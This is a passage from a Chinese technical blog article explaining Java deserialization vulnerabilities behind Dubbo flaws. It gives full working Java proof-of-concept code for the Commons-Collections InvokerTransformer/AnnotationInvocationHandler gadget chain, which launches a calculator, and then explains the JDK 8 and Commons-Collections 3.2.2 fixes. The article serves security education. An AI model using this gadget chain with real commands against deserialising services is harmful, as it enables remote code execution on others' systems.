Dubbo 高危漏洞!原来都是反序列化惹得祸( 四 )


Dubbo 高危漏洞!原来都是反序列化惹得祸

文章插图
 
不过不要高兴的太早,这个类没有 public 修饰符,默认只有同一个包才可以使用 。
Dubbo 高危漏洞!原来都是反序列化惹得祸

文章插图
 
不过这点难度,跟上面一比,还真是轻松,我们可以通过反射获取从而获取这个类的实例 。
示例代码如下:
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);// 随便使用一个注解Object instance = ctor.newInstance(Target.class, exMap);完整的序列化漏洞示例代码如下 :
String[] execArgs = new String[]{"open -a Calculator"};final Transformer[] transformers = new Transformer[]{        new ConstantTransformer(Runtime.class),        new InvokerTransformer(                "getMethod",                new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", new Class[0]}        ),        new InvokerTransformer(                "invoke",                new Class[]{Object.class, Object[].class},                new Object[]{null, new Object[0]}        ),        new InvokerTransformer(                "exec",                new Class[]{String.class}, execArgs),};//Transformer transformerChain = new ChainedTransformer(transformers);Map<String, String> tempMap = new HashMap<>();// tempMap 不能为空tempMap.put("value", "you");Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);// 随便使用一个注解Object instance = ctor.newInstance(Target.class, exMap);File f = new File("test.payload");ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));oos.writeObject(instance);oos.flush();oos.close();ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));// 触发代码执行Object newObj = ois.readObject();ois.close();上面代码中需要注意,tempMap需要一定不能为空,且 key 一定要是 value 。那可能有的同学为什么一定要这样设置?
tempMap不能为空的原因是因为 readObject 方法内需要遍历内部 Map.Entry.
至于第二个问题,别问,问就是玄学~好吧,我也没研究清楚--,有了解的小伙伴的留言一下 。
最后总结一下这个反序列化漏洞代码执行链路如下:
Dubbo 高危漏洞!原来都是反序列化惹得祸

文章插图
 
Common-Collections 漏洞修复方式在 JDK 8 中,AnnotationInvocationHandler 移除了 memberValue.setValue的调用,从而使我们上面构造的 AnnotationInvocationHandler+TransformedMap失效 。
另外 Common-Collections3.2.2 版本,对这些不安全的 Java 类序列化支持增加了开关,默认为关闭状态 。
比如在 InvokerTransformer类中重写 readObject,增相关判断 。如果没有开启不安全的类的序列化则会抛出UnsupportedOperationException异常
Dubbo 高危漏洞!原来都是反序列化惹得祸

文章插图
 
Dubbo 反序列化漏洞Dubbo 反序列化漏洞原理与上面的类似,但是执行的代码攻击链与上面完全不一样,这里就不再复现的详细的实现的方式,感兴趣的可以看下面两篇文章:
https://blog.csdn.net/caiqiiqi/article/details/106934770


推荐阅读